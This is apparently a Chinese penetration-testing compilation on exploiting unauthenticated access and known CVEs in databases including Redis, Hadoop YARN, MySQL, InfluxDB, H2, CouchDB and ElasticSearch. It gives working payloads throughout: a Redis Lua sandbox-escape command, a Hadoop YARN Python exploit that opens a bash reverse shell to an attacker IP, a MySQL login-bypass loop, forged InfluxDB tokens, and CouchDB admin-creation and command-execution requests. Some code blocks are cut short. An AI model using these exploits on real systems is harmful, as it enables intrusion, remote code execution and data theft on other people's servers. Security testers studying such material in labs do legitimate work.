渗透测试 | Redis渗透 https://www.freebuf.com/articles/web/281161.html
Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸) https://blog.csdn.net/MateSnake/article/details/138820548
InfluxDB JWT未授权漏洞(CVE-2019-20933)复现 https://www.cnblogs.com/BMCel/p/18025462
数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞. https://blog.csdn.net/weixin_54977781/article/details/134346421
H2database 未授权访问 vulhub https://blog.csdn.net/c0529/article/details/139624113
深入分析H2数据库控制台中无需身份验证的RCE漏洞 https://zhuanlan.zhihu.com/p/459941555
概况
首先整理出一个表格,方便参考:
# | 数据库 | 简介 | 默认端口 | 特性 | 已知CVE漏洞 |
---|---|---|---|---|---|
1 | Redis | 开源的内存数据结构存储系统,用作数据库、缓存和消息代理。 | 6379 | 支持字符串、哈希、列表、集合等多种数据结构。 | CVE-2022-0543、CVE-2023-36824、CVE-2023-28856 |
2 | Hadoop | 允许在计算机集群中分布式处理大数据集的框架。 | 50070 / 50075 / 50010 | 存储和处理大量数据的能力。 | CVE-2016-5397, CVE-2017-15718 |
3 | MySQL | 开源关系数据库管理系统,以其可靠性和易用性著称。 | 3306 | 支持全文搜索、SSL支持、分区和复制等功能。 | CVE-2012-2122 |
4 | InfluxDB | 专门设计用于处理高写入和查询负载的时间序列数据库。 | 8086 / 8088 | 高效处理时间序列数据,支持SQL-like查询语言。 | CVE-2019-20933 |
5 | H2 Database | 轻量级开源关系数据库,用Java编写,设计用于嵌入Java应用中。 | 8082 / 9092 | 支持标准SQL和JDBC API,支持嵌入式和服务器模式,提供强加密。 | CVE-2021-23463 |
6 | CouchDB | 使用JSON文档的NoSQL文档数据库,支持HTTP API和JavaScript的MapReduce查询。 | 5984 | 支持ACID属性,多版本并发控制,复制提高可扩展性和容错能力。 | CVE-2017-12636, CVE-2018-8007 |
7 | ElasticSearch | 基于Lucene库的搜索引擎,提供分布式、多租户能力的全文搜索引擎。 | 9200 / 9300 | 简单的REST APIs,分布式特性,速度快,可扩展。 | CVE-2021-22145, CVE-2018-17246 |
8 | Oracle | 由Oracle公司生产的多模型数据库管理系统。 | 1521 | 强大的数据完整性、复杂事务、强安全特性和广泛的数据分析功能。 | CVE-2021-35587, CVE-2019-2729 |
9 | SQL Server | 微软开发的关系数据库管理系统。 | 1433 | 支持广泛的事务处理、商业智能和分析应用。 | CVE-2021-1636, CVE-2017-8517 |
10 | PostgreSQL | 开源关系数据库,以可靠性、功能强大和性能著称。 | 5432 | 支持高级SQL标准、JSON、XML,有强大的社区支持。 | CVE-2022-1552, CVE-2019-10208、CVE-2019-10164 |
11 | MongoDB | 跨平台的文档导向数据库,使用类JSON的文档,可选模式。 | 27017 | 支持临时查询、索引和实时聚合。 | CVE-2023-20052, CVE-2021-20329 |
具体来说,可以通过报错、端口探测等方式首先确定数据库类型,之后再针对性分析
Redis
REmote DIctionary Server(Redis)是一个由 Salvatore Sanfilippo写的key-value存储系统。
Redis是—个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于內存亦可持久化的日志型、Key-Value数据库,并提供多种语言的APl。它通常被称为数据结构服务器,因为值(value)可以是字符串(String),哈希(Map),列表(List),集合(sets)和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由 Mware主持。从2013年5月开始,Redis的开发由 Pivotal赞助。目前最新稳定版本为4.0.8
Redis是一个开源的高性能键值数据库。最热门的NoSq数据库之一,也被人们称为数据结构服务器。
最大的特点就是 :快
- 以内存作为数据存储介质,读写数据的效率极高。
- 储存在 Redis中的数据是持久化的,断电或重启,数据也不会丢失
- 存储分为内存存储、磁盘存储和log文件。
- 可以从磁盘重新将数据加载到內存中,也可以通过配置文件对其进行配置,因此,redis才能实现持久化
- 支持主从模式,可以配置集群,更利于支撑大型的项目。
Redis默认端口:6379 sentinel.conf配置器端口为26379
Redis未授权访问
Redis安装后,如果绑定在 0.0.0.0:6379,并且没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证或使用弱口令的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
常用命令:
1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.看所有键:KEYS*,使用 select nun可以查看键值数据。
5.设置变量:set test“who am i
6.config set dir dirpath设置路径等配置7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量,查看变量名称
Redis写入webshell
1 | config set dir /var/www/html/ //切换目录到网站的根目录 |
未授权访问-CVE-2022-0543
Redis 存在代码注入漏洞,Redis 支持使用 Lua 脚本来执行复杂的操作。Lua 脚本在 Redis 中运行在一个被称为“沙箱”的环境中,该环境应限制脚本只能执行安全的操作,阻止访问外部系统资源,如文件系统或系统函数。然而,由于 Debian 和 Ubuntu 的打包错误,Lua 沙箱中错误地包含了 package 对象。
2.2 <= redis < 5.0.13、2.2 <= redis < 6.0.15、2.2 <= redis < 6.2.5,首先需要能够成功登陆redis,之后使用下面的payload
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0 |
payload的whoami为可以执行的任意系统命令位置,可以换成id或者pwd等等
漏洞原理:
因为Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
攻击者可通过package中的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0中的函数luaopen_io,在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。
POC解析:
1 | local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); // 通过loadlib函数加载动态连接库中的luaopen_io函数,并赋给io_l |
Hadoop
Hadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。Hadoop的主要用于:
- 分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。
- 分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。
- 数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。
Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。
该漏洞涉及版本:hadoop 3.3.0以下,访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)这段 Python 脚本是一个针对 Hadoop YARN (Yet Another Resource Negotiator) 的漏洞利用(exploit)示例,用于反弹 Shell 到指定的监听器。这个脚本的原理是通过未经授权的 API 访问向 YARN 提交一个恶意应用,然后利用 YARN 的应用管理机制来执行任意命令。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21使用以下官方exp反弹shell
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
- 设置目标和监听主机:
target
设置为 YARN ResourceManager 的 Web 接口。lhost
设置为攻击者的监听 IP 地址,用于接收反弹的 Shell。
- 请求新应用 ID:
- 脚本首先向 YARN 的
ws/v1/cluster/apps/new-application
发送 POST 请求,这个 API 调用用于获取一个新的应用程序 ID。 - 响应中包含
application-id
,这是后续提交应用时必须使用的。
- 脚本首先向 YARN 的
- 构造恶意应用数据:
- 接下来,脚本构建一个包含恶意命令的 JSON 数据体。
application-id
是从前一步获取的 ID。application-name
可以是任意名称,在这里设置为 ‘get-shell’。am-container-spec
是 YARN 中管理应用生命周期的组件,其中commands
字段用于定义应用启动时执行的命令。这里的命令是一个典型的反弹 Shell 命令/bin/bash -i >& /dev/tcp/%s/9999 0>&1
,这条命令尝试创建一个到攻击者lhost
上 9999 端口的反向 TCP 连接。application-type
设置为 ‘YARN’,这指定了应用程序类型。
- 提交恶意应用并触发执行:
- 最后,脚本将包含恶意数据的 JSON 发送到
ws/v1/cluster/apps
,通过 POST 请求实际提交并尝试启动这个应用。 - 如果 YARN 未正确配置安全控制,这个请求将成功,YARN 将按照提供的恶意命令执行,导致在指定的 IP 和端口上打开一个反向 Shell。
- 最后,脚本将包含恶意数据的 JSON 发送到
Mysql
CVE-2012-2122 未授权远程访问
CVE-2012-2122 影响的是 MySQL 5.1.x 版本到 5.1.61,MySQL 5.5.x 版本到 5.5.24,以及某些 5.0 版本。这个漏洞主要影响运行在 Linux、OS X、Solaris 平台的 MySQL 版本,Windows 版本由于认证实现的差异通常不受影响。
漏洞的利用相对简单,攻击者可以通过重复尝试使用错误的密码登录,直到由于内存比较的错误导致成功登录。在某些情况下,攻击者可能只需要尝试约 256 次即可成功绕过认证。这种利用方式不需要特别复杂的技术,普通的脚本工具就能完成。
该漏洞源于 MySQL 服务端在验证用户密码时的一个逻辑错误。在 MySQL 中,客户端发送的密码是一个散列值,服务端会将这个散列与期望的散列值进行比较。问题出在比较这两个散列值的函数上(memcmp()
),这个函数在某些情况下会由于 CPU 架构的问题错误地返回 0(即认为两个散列值相等),尤其是在 x86 架构的处理器上。
POC:
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done |
在 MySQL 源代码中,漏洞相关的部分主要是 sql/password.c
中的 check_scramble()
函数。问题代码如下:
1 | my_bool check_scramble(const char *scramble_arg, const char *message, const ulong *hash_stage2) |
这个函数在比较两个散列值时可能会因为处理器的优化方式和内存对齐问题导致预期外的结果。
InfluxDB
InfluxDB是一款时序数据库,其使用JWT作为鉴权方式。在其1.7.6版本以前,默认设置JWT的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。漏洞原理是1.7.6之前的InfluxDB在services/httpd/handler.go中的身份验证函数中存在身份验证绕过漏洞,因为JWT令牌可能具有空的共享密钥(也被称为共享密钥)。
第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)
第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录。
第三步:添加 POST 请求值.
第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)
第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:
1 | { |
username需要已存在的用户才行,所以使用 admin 用户就好.exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877: https://www.beijing-time.org/shijianchuo
第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】
第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行。
show users # 显示用户
show databases # 显示数据库
create database xxx # 创建xxx数据库
drop database xxx # 删除xxx数据库
create user influx with password ‘***’ with all privileges; # 创建用户
H2database 未授权访问
H2数据库是一个纯Java开发的关系型数据库管理系统(RDBMS),它支持SQL和JDBC标准,具有高性能、小巧、易于使用和部署等特点。同时,它还支持嵌入式、内存和分布式模式,可以满足不同场景的需求。
H2数据库的特点:
1.高性能:H2使用纯Java开发,在性能上比其他Java数据库更有优势,同时支持多种存储引擎,如内存、磁盘等。
2.小巧:H2的安装包非常小,可以轻松部署,也不需要安装复杂的数据库服务,只要安装JRE即可。
3.易于使用:H2具有简单易用的图形界面,支持丰富的标准SQL和JDBC接口,并提供详细的文档和示例,可以快速上手。
4.部署灵活:H2支持嵌入式、内存和分布式模式,可满足不同应用场景的需求,例如Web应用、桌面应用等。
H2数据库是一款小巧、高性能、易于使用和部署的Java数据库,非常适合中小型应用的开发和部署。
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
漏洞复现:
访问http://虚拟机ip:8080/h2-console/
打开之后是一个访问的页面,我们需要用java语言驱动让这个网站主动访问其他主机并且执行命令,需要用到一开始写在最前面的工具进行生成rmi工具(https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0)基础使用方法:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 命令 -A 攻击者的ip(监听者的ip,填你自己的) |
在驱动选择:javax.naming.InitialContext
url选择选择一个rmi填写
出现下方红色的字体就成功了,同时你的主机检测到了这个网站的访问
CouchDB
CouchDB是一个完全包含web的数据库。使用JSON文档存储数据。通过HTTP使用web浏览器访问您的文档。使用JavaScript查询、合并和转换文档。CouchDB适用于现代网络和移动应用程序。Apache CouchDB是一个开源的面向文档的NoSQL数据库,用Erlang实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce使用JavaScript作为查询语言,使用HTTP作为API。
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
https://blog.csdn.net/qq_45300786/article/details/120287521
端口可能是5984,直接访问端口是couchdb,访问/_utils目录,网站title是一个红色沙发,title名是Project Fauxton还可以看到couchdb图标
影响版本:小于 1.7.0 以及 小于 2.1.1,发送数据包:
1 | PUT /_users/org.couchdb.user:vulhub HTTP/1.1 |
返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”},只有管理员才能设置Role角色:发送一次包含两个roles字段的数据包,即可绕过限制:
注意:1、roles字段必须为空,3、已创建的用户,你改密码的话,是不行的。
1 | PUT /_users/org.couchdb.user:vulhub HTTP/1.1 |
输入我们之前创建的账号密码:vulhub:vulhub http://xxxx:5984/_utils 登录成功! 同时即可看到user的数量多了1个
Couchdb 任意命令执行 CVE-2017-12636
影响版本:小于 1.7.0 以及 小于 2.1.1
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。
它允许已认证的用户在 CouchDB 服务器上执行任意命令。这个漏洞主要利用了 CouchDB 中的 query_servers
配置错误,这是 CouchDB 用于指定如何处理不同编程语言查询的设置。
1.6.0 下的说明
依次执行如下请求即可触发任意命令执行:
1 | curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' |
其中,vulhub:vulhub
为管理员账号密码。
第一个请求是添加一个名字为cmd
的query_servers
,其值为"id >/tmp/success"
,这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为cmd
,这里就会用到我第一步里添加的名为cmd
的query_servers
,最后触发命令执行。
2.1.0 下的说明,2.1.0中修改了上面用到的两个API,这里需要详细说明一下。
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership
即可:
1 | curl http://vulhub:vulhub@your-ip:5984/_membership |
可见,我们这里只有一个node,名字是nonode@nohost
。
然后,我们修改nonode@nohost
的配置:
1 | curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"' |
然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:
1 | curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' |
Couchdb 2.x删除了_temp_view
,所以我们为了触发query_servers
中定义的命令,需要添加一个_view
:
1 | curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json" |
增加_view
的同时即触发了query_servers
中的命令。
利用exp:
1 | #!/usr/bin/env python3 |
具体来分析下上面的漏洞,可以总结为以下步骤:
1. 修改 query_servers
配置
- 攻击者首先将
query_servers
中用于处理命令的处理器(如cmd
)设置为执行任意命令的脚本或命令。例如,通过以下请求:这里,1
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
username:password
是已知的管理员凭据,your-ip
是目标 CouchDB 服务器的 IP 地址。
2. 触发命令执行
- 然后,攻击者创建一个新的数据库和文档,为触发命令执行做准备。创建数据库和文档的请求不包含任何恶意代码,它们仅仅是为了后续的查询操作做准备。
- 最后,攻击者通过创建一个特殊的视图(在 CouchDB 2.x 中是
_design
文档)触发命令执行。视图的language
属性被设置为cmd
,这告诉 CouchDB 使用cmd
处理器来解释和执行视图的 Map 函数,而 Map 函数实际上是被配置为执行任意命令的脚本。
CouchDB 1.x 和 2.x 的区别
- 在 CouchDB 2.x 中,由于引入了集群模式,修改配置的 API 需要包括节点名称。攻击者首先需要查询节点名称,然后针对特定节点修改
query_servers
配置。 - CouchDB 2.x 中删除了
_temp_view
,所以需要通过创建永久视图来触发命令执行。
ElasticSearch-文件写入&RCE-漏洞
https://www.cnblogs.com/cute-puli/p/15359890.html
1.5.x以前(其实跟CVE-2015-5531-ElasticSearch 目录穿越是差不多类型的漏洞,相当于是利用该漏洞来getshell吧)
访问存在的漏洞页面:(9200一般为ElasticSearch的常用端口),此漏洞环境需要与tomcat结合使用,发现8080端口存在tomcat默认配置页面。发现9200端口存在elasticsearch页面:
看到elasticSearch的版本为1.4.1猜测可能存在rce漏洞,打开burpsuite ,开启代理抓取数据包并把数据包并把数据包放到重放器中。
由于查询时至少要求ElasticSearch中有一条数据,所以替换如下数据:
1 | POST /website/blog/ HTTP/1.1 |
利用反射机制执行JAVA代码:
1 | POST /_search?pretty HTTP/1.1 |
看到有加密过的文件猜测可能是base64编码,用burpsuite自带的解码工具尝试